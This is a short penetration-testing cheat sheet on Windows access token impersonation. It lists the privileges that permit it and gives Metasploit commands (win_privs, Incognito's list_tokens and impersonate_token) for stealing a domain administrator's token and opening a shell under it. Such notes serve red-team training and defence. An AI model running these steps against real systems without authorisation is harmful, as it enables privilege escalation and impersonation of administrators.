Windows access token impersonation

Windows access tokens are like session tokens as every process carries one that defines its privileges. If a higher-privileged user, like a domain admin, has active processes on the target, you can steal their token and run code under their identity.

Pre-condition: required privileges

The exploited account needs one of:

Privilege	Effect
SeAssignPrimaryToken	impersonate tokens on the local system
SeCreateToken	create tokens with arbitrary privileges
SeImpersonatePrivilege	create a process under another user’s security context

Check current privileges

use post/windows/gather/win_privs
set SESSION <id>
run

Steal a token with Incognito

load incognito
list_tokens -u           # list available user tokens on the system
impersonate_token "DOMAIN\\Administrator"   # impersonate a specific token
getuid                   # confirm you're now running as that user

Get a shell under the impersonated identity

shell
whoami

• The token you impersonate persists for the life of the session, but if you want a persistent effect you need to spawn a new process under it.
• If no high-privilege tokens are visible, a service or scheduled task running as SYSTEM or a domain admin may still be on the box. Use ps for running processes and their owners.

Related

• Windows UAC bypass: another privesc route when Incognito finds nothing useful
• Windows kernel privilege escalation: the fallback when no exploitable token is available
• Windows post-exploitation: meterpreter commands and post modules: ps and session enumeration used to find candidate processes
• Meterpreter essentials: the session type this all runs from